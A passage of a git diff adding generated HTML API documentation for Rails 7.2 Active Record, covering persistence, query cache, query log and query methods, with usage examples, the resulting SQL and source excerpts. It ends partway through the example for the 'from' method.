+    def update!(attributes)
+      # The following transaction covers any possible database side-effects of the
+      # attributes assignment. For example, setting the IDs of a child collection.
+      with_transaction_returning_status do
+        assign_attributes(attributes)
+        save!
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + update_attribute(name, value) + +

+ + +
+

Updates a single attribute and saves the record. This is especially useful for boolean flags on existing records. Also note that

+
  • +

    Validation is skipped.

    +
  • +

    Callbacks are invoked.

    +
  • +

    updated_at/updated_on column is updated if that column is available.

    +
  • +

    Updates all the attributes that are dirty in this object.

    +
+ +

This method raises an ActiveRecord::ActiveRecordError if the attribute is marked as readonly.

+ +

Also see update_column.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/persistence.rb, line 532
+    def update_attribute(name, value)
+      name = name.to_s
+      verify_readonly_attribute(name)
+      public_send("#{name}=", value)
+
+      save(validate: false)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + update_attribute!(name, value) + +

+ + +
+

Updates a single attribute and saves the record. This is especially useful for boolean flags on existing records. Also note that

+
  • +

    Validation is skipped.

    +
  • +

    Callbacks are invoked.

    +
  • +

    updated_at/updated_on column is updated if that column is available.

    +
  • +

    Updates all the attributes that are dirty in this object.

    +
+ +

This method raises an ActiveRecord::ActiveRecordError if the attribute is marked as readonly.

+ +

If any of the before_* callbacks throws :abort the action is cancelled and update_attribute! raises ActiveRecord::RecordNotSaved. See ActiveRecord::Callbacks for further details.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/persistence.rb, line 554
+    def update_attribute!(name, value)
+      name = name.to_s
+      verify_readonly_attribute(name)
+      public_send("#{name}=", value)
+
+      save!(validate: false)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + update_column(name, value) + +

+ + +
+

Equivalent to update_columns(name => value).

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/persistence.rb, line 586
+    def update_column(name, value)
+      update_columns(name => value)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + update_columns(attributes) + +

+ + +
+

Updates the attributes directly in the database issuing an UPDATE SQL statement and sets them in the receiver:

+ +
user.update_columns(last_request_at: Time.current)
+
+ +

This is the fastest way to update attributes because it goes straight to the database, but take into account that in consequence the regular update procedures are totally bypassed. In particular:

+
  • +

    Validations are skipped.

    +
  • +

    Callbacks are skipped.

    +
  • +

    updated_at/updated_on are not updated.

    +
  • +

    However, attributes are serialized with the same rules as ActiveRecord::Relation#update_all

    +
+ +

This method raises an ActiveRecord::ActiveRecordError when called on new objects, or when at least one of the attributes is marked as readonly.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/persistence.rb, line 606
+    def update_columns(attributes)
+      raise ActiveRecordError, "cannot update a new record" if new_record?
+      raise ActiveRecordError, "cannot update a destroyed record" if destroyed?
+      _raise_readonly_record_error if readonly?
+
+      attributes = attributes.transform_keys do |key|
+        name = key.to_s
+        name = self.class.attribute_aliases[name] || name
+        verify_readonly_attribute(name) || name
+      end
+
+      update_constraints = _query_constraints_hash
+      attributes = attributes.each_with_object({}) do |(k, v), h|
+        h[k] = @attributes.write_cast_value(k, v)
+        clear_attribute_change(k)
+      end
+
+      affected_rows = self.class._update_record(
+        attributes,
+        update_constraints
+      )
+
+      affected_rows == 1
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Persistence/ClassMethods.html b/src/7.2/classes/ActiveRecord/Persistence/ClassMethods.html new file mode 100644 index 0000000000..daaf621f95 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Persistence/ClassMethods.html @@ -0,0 +1,495 @@ +--- +title: ActiveRecord::Persistence::ClassMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + build(attributes = nil, &block) + +

+ + +
+

Builds an object (or multiple objects) and returns either the built object or a list of built objects.

+ +

The attributes parameter can be either a Hash or an Array of Hashes. These Hashes describe the attributes on the objects that are to be built.

+ +

Examples

+ +
# Build a single new object
+User.build(first_name: 'Jamie')
+
+# Build an Array of new objects
+User.build([{ first_name: 'Jamie' }, { first_name: 'Jeremy' }])
+
+# Build a single object and pass it into a block to set other attributes.
+User.build(first_name: 'Jamie') do |u|
+  u.is_admin = false
+end
+
+# Building an Array of new objects using a block, where the block is executed for each object:
+User.build([{ first_name: 'Jamie' }, { first_name: 'Jeremy' }]) do |u|
+  u.is_admin = false
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/persistence.rb, line 82
+      def build(attributes = nil, &block)
+        if attributes.is_a?(Array)
+          attributes.collect { |attr| build(attr, &block) }
+        else
+          new(attributes, &block)
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + create(attributes = nil, &block) + +

+ + +
+

Creates an object (or multiple objects) and saves it to the database, if validations pass. The resulting object is returned whether the object was saved successfully to the database or not.

+ +

The attributes parameter can be either a Hash or an Array of Hashes. These Hashes describe the attributes on the objects that are to be created.

+ +

Examples

+ +
# Create a single new object
+User.create(first_name: 'Jamie')
+
+# Create an Array of new objects
+User.create([{ first_name: 'Jamie' }, { first_name: 'Jeremy' }])
+
+# Create a single object and pass it into a block to set other attributes.
+User.create(first_name: 'Jamie') do |u|
+  u.is_admin = false
+end
+
+# Creating an Array of new objects using a block, where the block is executed for each object:
+User.create([{ first_name: 'Jamie' }, { first_name: 'Jeremy' }]) do |u|
+  u.is_admin = false
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/persistence.rb, line 33
+      def create(attributes = nil, &block)
+        if attributes.is_a?(Array)
+          attributes.collect { |attr| create(attr, &block) }
+        else
+          object = new(attributes, &block)
+          object.save
+          object
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + create!(attributes = nil, &block) + +

+ + +
+

Creates an object (or multiple objects) and saves it to the database, if validations pass. Raises a RecordInvalid error if validations fail, unlike Base#create.

+ +

The attributes parameter can be either a Hash or an Array of Hashes. These describe which attributes to be created on the object, or multiple objects when given an Array of Hashes.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/persistence.rb, line 50
+      def create!(attributes = nil, &block)
+        if attributes.is_a?(Array)
+          attributes.collect { |attr| create!(attr, &block) }
+        else
+          object = new(attributes, &block)
+          object.save!
+          object
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + instantiate(attributes, column_types = {}, &block) + +

+ + +
+

Given an attributes hash, instantiate returns a new instance of the appropriate class. Accepts only keys as strings.

+ +

For example, Post.all may return Comments, Messages, and Emails by storing the record’s subclass in a type attribute. By calling instantiate instead of new, finder methods ensure they get new instances of the appropriate class for each record.

+ +

See ActiveRecord::Inheritance#discriminate_class_for_record to see how this β€œsingle-table” inheritance mapping is implemented.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/persistence.rb, line 100
+      def instantiate(attributes, column_types = {}, &block)
+        klass = discriminate_class_for_record(attributes)
+        instantiate_instance_of(klass, attributes, column_types, &block)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + query_constraints(*columns_list) + +

+ + +
+

Accepts a list of attribute names to be used in the WHERE clause of SELECT / UPDATE / DELETE queries and in the ORDER BY clause for #first and #last finder methods.

+ +
class Developer < ActiveRecord::Base
+  query_constraints :company_id, :id
+end
+
+developer = Developer.first
+# SELECT "developers".* FROM "developers" ORDER BY "developers"."company_id" ASC, "developers"."id" ASC LIMIT 1
+developer.inspect # => #<Developer id: 1, company_id: 1, ...>
+
+developer.update!(name: "Nikita")
+# UPDATE "developers" SET "name" = 'Nikita' WHERE "developers"."company_id" = 1 AND "developers"."id" = 1
+
+# It is possible to update an attribute used in the query_constraints clause:
+developer.update!(company_id: 2)
+# UPDATE "developers" SET "company_id" = 2 WHERE "developers"."company_id" = 1 AND "developers"."id" = 1
+
+developer.name = "Bob"
+developer.save!
+# UPDATE "developers" SET "name" = 'Bob' WHERE "developers"."company_id" = 1 AND "developers"."id" = 1
+
+developer.destroy!
+# DELETE FROM "developers" WHERE "developers"."company_id" = 1 AND "developers"."id" = 1
+
+developer.delete
+# DELETE FROM "developers" WHERE "developers"."company_id" = 1 AND "developers"."id" = 1
+
+developer.reload
+# SELECT "developers".* FROM "developers" WHERE "developers"."company_id" = 1 AND "developers"."id" = 1 LIMIT 1
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/persistence.rb, line 212
+      def query_constraints(*columns_list)
+        raise ArgumentError, "You must specify at least one column to be used in querying" if columns_list.empty?
+
+        @query_constraints_list = columns_list.map(&:to_s)
+        @has_query_constraints = @query_constraints_list
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + update(id = :all, attributes) + +

+ + +
+

Updates an object (or multiple objects) and saves it to the database, if validations pass. The resulting object is returned whether the object was saved successfully to the database or not.

+ +

Parameters

+
  • +

    id - This should be the id or an array of ids to be updated. Optional argument, defaults to all records in the relation.

    +
  • +

    attributes - This should be a hash of attributes or an array of hashes.

    +
+ +

Examples

+ +
# Updates one record
+Person.update(15, user_name: "Samuel", group: "expert")
+
+# Updates multiple records
+people = { 1 => { "first_name" => "David" }, 2 => { "first_name" => "Jeremy" } }
+Person.update(people.keys, people.values)
+
+# Updates multiple records from the result of a relation
+people = Person.where(group: "expert")
+people.update(group: "masters")
+
+ +

Note: Updating a large number of records will run an UPDATE query for each record, which may cause a performance issue. When running callbacks is not needed for each record update, it is preferred to use update_all for updating all records in a single query.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/persistence.rb, line 132
+      def update(id = :all, attributes)
+        if id.is_a?(Array)
+          if id.any?(ActiveRecord::Base)
+            raise ArgumentError,
+              "You are passing an array of ActiveRecord::Base instances to `update`. " \
+              "Please pass the ids of the objects by calling `pluck(:id)` or `map(&:id)`."
+          end
+          id.map { |one_id| find(one_id) }.each_with_index { |object, idx|
+            object.update(attributes[idx])
+          }
+        elsif id == :all
+          all.each { |record| record.update(attributes) }
+        else
+          if ActiveRecord::Base === id
+            raise ArgumentError,
+              "You are passing an instance of ActiveRecord::Base to `update`. " \
+              "Please pass the id of the object by calling `.id`."
+          end
+          object = find(id)
+          object.update(attributes)
+          object
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + update!(id = :all, attributes) + +

+ + +
+

Updates the object (or multiple objects) just like update but calls update! instead of update, so an exception is raised if the record is invalid and saving will fail.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/persistence.rb, line 158
+      def update!(id = :all, attributes)
+        if id.is_a?(Array)
+          if id.any?(ActiveRecord::Base)
+            raise ArgumentError,
+              "You are passing an array of ActiveRecord::Base instances to `update!`. " \
+              "Please pass the ids of the objects by calling `pluck(:id)` or `map(&:id)`."
+          end
+          id.map { |one_id| find(one_id) }.each_with_index { |object, idx|
+            object.update!(attributes[idx])
+          }
+        elsif id == :all
+          all.each { |record| record.update!(attributes) }
+        else
+          if ActiveRecord::Base === id
+            raise ArgumentError,
+              "You are passing an instance of ActiveRecord::Base to `update!`. " \
+              "Please pass the id of the object by calling `.id`."
+          end
+          object = find(id)
+          object.update!(attributes)
+          object
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/PreparedStatementCacheExpired.html b/src/7.2/classes/ActiveRecord/PreparedStatementCacheExpired.html new file mode 100644 index 0000000000..37336be021 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/PreparedStatementCacheExpired.html @@ -0,0 +1,66 @@ +--- +title: ActiveRecord::PreparedStatementCacheExpired +layout: default +--- +
+ +
+
+ +
+ +

Raised when PostgreSQL returns β€˜cached plan must not change result type’ and we cannot retry gracefully (e.g. inside a transaction)

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/PreparedStatementInvalid.html b/src/7.2/classes/ActiveRecord/PreparedStatementInvalid.html new file mode 100644 index 0000000000..763daffc42 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/PreparedStatementInvalid.html @@ -0,0 +1,71 @@ +--- +title: ActiveRecord::PreparedStatementInvalid +layout: default +--- +
+ +
+
+ +
+ +

Raised when the number of placeholders in an SQL fragment passed to ActiveRecord::Base.where does not match the number of values supplied.

+ +

For example, when there are two placeholders with only one value supplied:

+ +
Location.where("lat = ? AND lng = ?", 53.7362)
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Promise.html b/src/7.2/classes/ActiveRecord/Promise.html new file mode 100644 index 0000000000..550ebd1ea5 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Promise.html @@ -0,0 +1,198 @@ +--- +title: ActiveRecord::Promise +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + pending?() + +

+ + +
+

Returns whether the associated query is still being executed or not.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/promise.rb, line 13
+    def pending?
+      @future_result.pending?
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + then(&block) + +

+ + +
+

Returns a new ActiveRecord::Promise that will apply the passed block when the value is accessed:

+ +
Post.async_pick(:title).then { |title| title.upcase }.value
+# => "POST TITLE"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/promise.rb, line 36
+    def then(&block)
+      Promise.new(@future_result, @block ? @block >> block : block)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + value() + +

+ + +
+

Returns the query result. If the query wasn’t completed yet, accessing #value will block until the query completes. If the query failed, #value will raise the corresponding error.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/promise.rb, line 20
+    def value
+      return @value if defined? @value
+
+      result = @future_result.result
+      @value = if @block
+        @block.call(result)
+      else
+        result
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/QueryAborted.html b/src/7.2/classes/ActiveRecord/QueryAborted.html new file mode 100644 index 0000000000..b375bb37e4 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/QueryAborted.html @@ -0,0 +1,66 @@ +--- +title: ActiveRecord::QueryAborted +layout: default +--- +
+ +
+
+ +
+ +

Superclass for errors that have been aborted (either by client or server).

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/QueryCache.html b/src/7.2/classes/ActiveRecord/QueryCache.html new file mode 100644 index 0000000000..1fcd5eacc8 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/QueryCache.html @@ -0,0 +1,210 @@ +--- +title: ActiveRecord::QueryCache +layout: default +--- +
+ +
+
+ +
+ +

Active Record Query Cache

+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + complete(pools) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/query_cache.rb, line 44
+    def self.complete(pools)
+      pools.each do |pool|
+        pool.disable_query_cache!
+        pool.clear_query_cache
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + install_executor_hooks(executor = ActiveSupport::Executor) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/query_cache.rb, line 51
+    def self.install_executor_hooks(executor = ActiveSupport::Executor)
+      executor.register_hook(self)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + run() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/query_cache.rb, line 37
+    def self.run
+      ActiveRecord::Base.connection_handler.each_connection_pool.reject(&:query_cache_enabled).each do |pool|
+        next if pool.db_config&.query_cache == false
+        pool.enable_query_cache!
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/QueryCache/ClassMethods.html b/src/7.2/classes/ActiveRecord/QueryCache/ClassMethods.html new file mode 100644 index 0000000000..30f67e9fb5 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/QueryCache/ClassMethods.html @@ -0,0 +1,156 @@ +--- +title: ActiveRecord::QueryCache::ClassMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + cache(&block) + +

+ + +
+

Enable the query cache within the block if Active Record is configured. If it’s not, it will execute the given block.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/query_cache.rb, line 9
+      def cache(&block)
+        if connected? || !configurations.empty?
+          pool = connection_pool
+          was_enabled = pool.query_cache_enabled
+          begin
+            pool.enable_query_cache(&block)
+          ensure
+            pool.clear_query_cache unless was_enabled
+          end
+        else
+          yield
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + uncached(dirties: true, &block) + +

+ + +
+

Disable the query cache within the block if Active Record is configured. If it’s not, it will execute the given block.

+ +

Set dirties: false to prevent query caches on all connections from being cleared by write operations. (By default, write operations dirty all connections’ query caches in case they are replicas whose cache would now be outdated.)

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/query_cache.rb, line 28
+      def uncached(dirties: true, &block)
+        if connected? || !configurations.empty?
+          connection_pool.disable_query_cache(dirties: dirties, &block)
+        else
+          yield
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/QueryCanceled.html b/src/7.2/classes/ActiveRecord/QueryCanceled.html new file mode 100644 index 0000000000..b17b2456ad --- /dev/null +++ b/src/7.2/classes/ActiveRecord/QueryCanceled.html @@ -0,0 +1,66 @@ +--- +title: ActiveRecord::QueryCanceled +layout: default +--- +
+ +
+
+ +
+ +

QueryCanceled will be raised when canceling statement due to user request.

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/QueryLogs.html b/src/7.2/classes/ActiveRecord/QueryLogs.html new file mode 100644 index 0000000000..18d4cc88e0 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/QueryLogs.html @@ -0,0 +1,189 @@ +--- +title: ActiveRecord::QueryLogs +layout: default +--- +
+ +
+
+ +
+ +

Active Record Query Logs

+ +

Automatically append comments to SQL queries with runtime information tags. This can be used to trace troublesome SQL statements back to the application code that generated these statements.

+ +

Query logs can be enabled via Rails configuration in config/application.rb or an initializer:

+ +
config.active_record.query_log_tags_enabled = true
+
+ +

By default the name of the application, the name and action of the controller, or the name of the job are logged. The default format is SQLCommenter. The tags shown in a query comment can be configured via Rails configuration:

+ +
config.active_record.query_log_tags = [ :application, :controller, :action, :job ]
+
+ +

Active Record defines default tags available for use:

+
  • +

    application

    +
  • +

    pid

    +
  • +

    socket

    +
  • +

    db_host

    +
  • +

    database

    +
  • +

    source_location

    +
+ +

Action Controller adds default tags when loaded:

+
  • +

    controller

    +
  • +

    action

    +
  • +

    namespaced_controller

    +
+ +

Active Job adds default tags when loaded:

+
  • +

    job

    +
+ +

New comment tags can be defined by adding them in a Hash to the tags Array. Tags can have dynamic content by setting a Proc or lambda value in the Hash, and can reference any value stored by Rails in the context object. ActiveSupport::CurrentAttributes can be used to store application values. Tags with nil values are omitted from the query comment.

+ +

Escaping is performed on the string returned, however untrusted user input should not be used.

+ +

Example:

+ +
config.active_record.query_log_tags = [
+  :namespaced_controller,
+  :action,
+  :job,
+  {
+    request_id: ->(context) { context[:controller]&.request&.request_id },
+    job_id: ->(context) { context[:job]&.job_id },
+    tenant_id: -> { Current.tenant&.id },
+    static: "value",
+  },
+]
+
+ +

By default the name of the application, the name and action of the controller, or the name of the job are logged using the SQLCommenter format. This can be changed via config.active_record.query_log_tags_format

+ +

Tag comments can be prepended to the query:

+ +
ActiveRecord::QueryLogs.prepend_comment = true
+
+ +

For applications where the content will not change during the lifetime of the request or job execution, the tags can be cached for reuse in every query:

+ +
config.active_record.cache_query_log_tags = true
+
+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + update_formatter(format) + +

+ + +
+

Updates the formatter to be what the passed in format is.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/query_logs.rb, line 100
+      def update_formatter(format)
+        self.tags_formatter =
+          case format
+          when :legacy
+            LegacyFormatter.new
+          when :sqlcommenter
+            SQLCommenter.new
+          else
+            raise ArgumentError, "Formatter is unsupported: #{formatter}"
+          end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/QueryMethods.html b/src/7.2/classes/ActiveRecord/QueryMethods.html new file mode 100644 index 0000000000..e1352c3e5b --- /dev/null +++ b/src/7.2/classes/ActiveRecord/QueryMethods.html @@ -0,0 +1,2701 @@ +--- +title: ActiveRecord::QueryMethods +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + +

Methods

+ + + + + + + + + + + + +

Constants

+ + + + + + + + + + + + + + + + + + + + + + + +
FROZEN_EMPTY_ARRAY=[].freeze
FROZEN_EMPTY_HASH={}.freeze
VALID_UNSCOPING_VALUES=Set.new([:where, :select, :group, :order, :lock, +:limit, :offset, :joins, :left_outer_joins, :annotate, +:includes, :eager_load, :preload, :from, :readonly, +:having, :optimizer_hints, :with])
+ + + + + + + +

Instance Public methods

+ +
+

+ + and(other) + +

+ + +
+

Returns a new relation, which is the logical intersection of this relation and the one passed as an argument.

+ +

The two relations must be structurally compatible: they must be scoping the same model, and they must differ only by where (if no group has been defined) or having (if a group is present).

+ +
Post.where(id: [1, 2]).and(Post.where(id: [2, 3]))
+# SELECT `posts`.* FROM `posts` WHERE `posts`.`id` IN (1, 2) AND `posts`.`id` IN (2, 3)
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation/query_methods.rb, line 1113
+    def and(other)
+      if other.is_a?(Relation)
+        spawn.and!(other)
+      else
+        raise ArgumentError, "You have passed #{other.class.name} object to #and. Pass an ActiveRecord::Relation object instead."
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + annotate(*args) + +

+ + +
+

Adds an SQL comment to queries generated from this relation. For example:

+ +
User.annotate("selecting user names").select(:name)
+# SELECT "users"."name" FROM "users" /* selecting user names */
+
+User.annotate("selecting", "user", "names").select(:name)
+# SELECT "users"."name" FROM "users" /* selecting */ /* user */ /* names */
+
+ +

The SQL block comment delimiters, β€œ/*” and β€œ*/”, will be added automatically.

+ +

Some escaping is performed, however untrusted user input should not be used.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation/query_methods.rb, line 1507
+    def annotate(*args)
+      check_if_method_has_arguments!(__callee__, args)
+      spawn.annotate!(*args)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + create_with(value) + +

+ + +
+

Sets attributes to be used when creating new records from a relation object.

+ +
users = User.where(name: 'Oscar')
+users.new.name # => 'Oscar'
+
+users = users.create_with(name: 'DHH')
+users.new.name # => 'DHH'
+
+ +

You can pass nil to create_with to reset attributes:

+ +
users = users.create_with(nil)
+users.new.name # => 'Oscar'
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation/query_methods.rb, line 1324
+    def create_with(value)
+      spawn.create_with!(value)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + distinct(value = true) + +

+ + +
+

Specifies whether the records should be unique or not. For example:

+ +
User.select(:name)
+# Might return two records with the same name
+
+User.select(:name).distinct
+# Returns 1 record per distinct name
+
+User.select(:name).distinct.distinct(false)
+# You can also remove the uniqueness
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation/query_methods.rb, line 1388
+    def distinct(value = true)
+      spawn.distinct!(value)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + eager_load(*args) + +

+ + +
+

Specify associations args to be eager loaded using a LEFT OUTER JOIN. Performs a single query joining all specified associations. For example:

+ +
users = User.eager_load(:address).limit(5)
+users.each do |user|
+  user.address.city
+end
+
+# SELECT "users"."id" AS t0_r0, "users"."name" AS t0_r1, ... FROM "users"
+#   LEFT OUTER JOIN "addresses" ON "addresses"."id" = "users"."address_id"
+#   LIMIT 5
+
+ +

Instead of loading the 5 addresses with 5 separate queries, all addresses are loaded with a single joined query.

+ +

Loading multiple and nested associations is possible using Hashes and Arrays, similar to includes:

+ +
User.eager_load(:address, friends: [:address, :followers])
+# SELECT "users"."id" AS t0_r0, "users"."name" AS t0_r1, ... FROM "users"
+#   LEFT OUTER JOIN "addresses" ON "addresses"."id" = "users"."address_id"
+#   LEFT OUTER JOIN "friends" ON "friends"."user_id" = "users"."id"
+#   ...
+
+ +

NOTE: Loading the associations in a join can result in many rows that contain redundant data and it performs poorly at scale.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation/query_methods.rb, line 283
+    def eager_load(*args)
+      check_if_method_has_arguments!(__callee__, args)
+      spawn.eager_load!(*args)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + excluding(*records) + +

+ + +
+

Excludes the specified record (or collection of records) from the resulting relation. For example:

+ +
Post.excluding(post)
+# SELECT "posts".* FROM "posts" WHERE "posts"."id" != 1
+
+Post.excluding(post_one, post_two)
+# SELECT "posts".* FROM "posts" WHERE "posts"."id" NOT IN (1, 2)
+
+Post.excluding(Post.drafts)
+# SELECT "posts".* FROM "posts" WHERE "posts"."id" NOT IN (3, 4, 5)
+
+ +

This can also be called on associations. As with the above example, either a single record of collection thereof may be specified:

+ +
post = Post.find(1)
+comment = Comment.find(2)
+post.comments.excluding(comment)
+# SELECT "comments".* FROM "comments" WHERE "comments"."post_id" = 1 AND "comments"."id" != 2
+
+ +

This is short-hand for .where.not(id: post.id) and .where.not(id: [post_one.id, post_two.id]).

+ +

An ArgumentError will be raised if either no records are specified, or if any of the records in the collection (if a collection is passed in) are not instances of the same model that the relation is scoping.

+
+ + + +
+ Also aliased as: without +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation/query_methods.rb, line 1552
+    def excluding(*records)
+      relations = records.extract! { |element| element.is_a?(Relation) }
+      records.flatten!(1)
+      records.compact!
+
+      unless records.all?(klass) && relations.all? { |relation| relation.klass == klass }
+        raise ArgumentError, "You must only pass a single or collection of #{klass.name} objects to ##{__callee__}."
+      end
+
+      spawn.excluding!(records + relations.flat_map(&:ids))
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + extending(*modules, &block) + +

+ + +
+

Used to extend a scope with additional methods, either through a module or through a block provided.

+ +

The object returned is a relation, which can be further extended.

+ +

Using a Module

+ +
module Pagination
+  def page(number)
+    # pagination code goes here
+  end
+end
+
+scope = Model.all.extending(Pagination)
+scope.page(params[:page])
+
+ +

You can also pass a list of modules:

+ +
scope = Model.all.extending(Pagination, SomethingElse)
+
+ +

Using a Block

+ +
scope = Model.all.extending do
+  def page(number)
+    # pagination code goes here
+  end
+end
+scope.page(params[:page])
+
+ +

You can also use a block and a module list:

+ +
scope = Model.all.extending(Pagination) do
+  def per_page(number)
+    # pagination code goes here
+  end
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation/query_methods.rb, line 1434
+    def extending(*modules, &block)
+      if modules.any? || block
+        spawn.extending!(*modules, &block)
+      else
+        self
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + extract_associated(association) + +

+ + +
+

Extracts a named association from the relation. The named association is first preloaded, then the individual association records are collected from the relation. Like so:

+ +
account.memberships.extract_associated(:user)
+# => Returns collection of User records
+
+ +

This is short-hand for:

+ +
account.memberships.preload(:user).collect(&:user)
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation/query_methods.rb, line 334
+    def extract_associated(association)
+      preload(association).collect(&association)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + from(value, subquery_name = nil) + +

+ + +
+

Specifies the table from which the records will be fetched. For example:

+ +
Topic.select('title').from('posts')
+# SELECT title FROM posts
+
+ +

Can accept other relation objects. For example:

+ +
Topic.select('title').from(Topic.approved)
+# SELECT title FROM (SELECT * FROM topics WHERE approved = 't') subquery
+
+ +

Passing a second argument (string or symbol), creates the alias for the SQL from clause. Otherwise the alias β€œsubquery” is used:

+ +
Topic.select('a.title').from(Topic.approved, :a)
+# SELECT a.title FROM (SELECT * FROM topics WHERE approved = 't') a
+
+ +

It does not add multiple arguments to the SQL from clause. The last from chained is the one used:

+ +
Topic.select('title').from(Topic.approved).from(Topic.inactive)
+# SELECT title FROM (SELECT topics.* FROM topics WHERE topics.active = 'f') subquery
+
+ +

For multiple arguments for the SQL from clause, you can pass a string with the exact elements in the SQL from list:

+ +
color = "red"
+Color
+  .from("colors c, JSONB_ARRAY_ELEMENTS(colored_things) AS colorvalues(colorvalue)")
